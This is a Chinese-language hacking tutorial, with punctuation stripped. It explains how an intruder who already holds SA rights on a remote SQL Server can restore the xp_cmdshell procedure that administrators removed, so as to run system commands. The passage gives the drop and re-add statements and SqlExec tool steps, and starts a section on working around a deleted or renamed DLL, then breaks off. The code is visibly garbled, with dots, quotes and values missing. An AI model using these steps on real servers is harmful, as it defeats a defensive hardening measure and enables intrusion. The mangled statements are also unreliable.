需要准备的工具
SQL Query Analyzer和SqlExec Sunx Version
第一部分
去掉xp_cmdshell保护系统的具体分析
语句如下
去掉xp_cmdshell扩展过程的方法是使用如下语句
if exists (select * from dbosysobjects where id=object_id(N[dbo][xpcmdshell]) and OBJECTPROPERTY(idNIsExtendedProc)=)exec sp_dropextendedproc N[dbo][xp_cmdshell]
添加xp_cmdshell扩展过程的方法是使用如下语句
sp_addextendedproc xp_cmdshell@dllname=xplogdll
现在看看现象
我们在取得SA权限后远程用Sqlexec执行cmd命令出现提示SQL_ERROR那么很可能是去掉了xp_cmdshell
现在来看看被去掉xp_cmdshell后恢复的两种方法
方法一使用SQL Query Analyzer连接对方后直接写入挺方便sp_addextendedproc xp_cmdshell@dllname=xplogdll
方法二使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s在CMD选项里输入sp_addextendedproc xp_cmdshellxpsqldll或者对Sql情况下使用sp_addextendedproc xp_cmdshellxplogdll另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样然后输入sp_dropextendedproc xp_cmdshell就可以了
第二部分
假如对方已经把xplogdll删除或者改了名我们来用下面的方法继续我们的hack任务
当出现如下现象暗示代表很有可能是xplogdll删除或者改了名
在查询分析器中写入sp_addextendedproc xp_cmdshell@dllname=xplogdll提示数据库中已存在名为xp_cmdshell的对象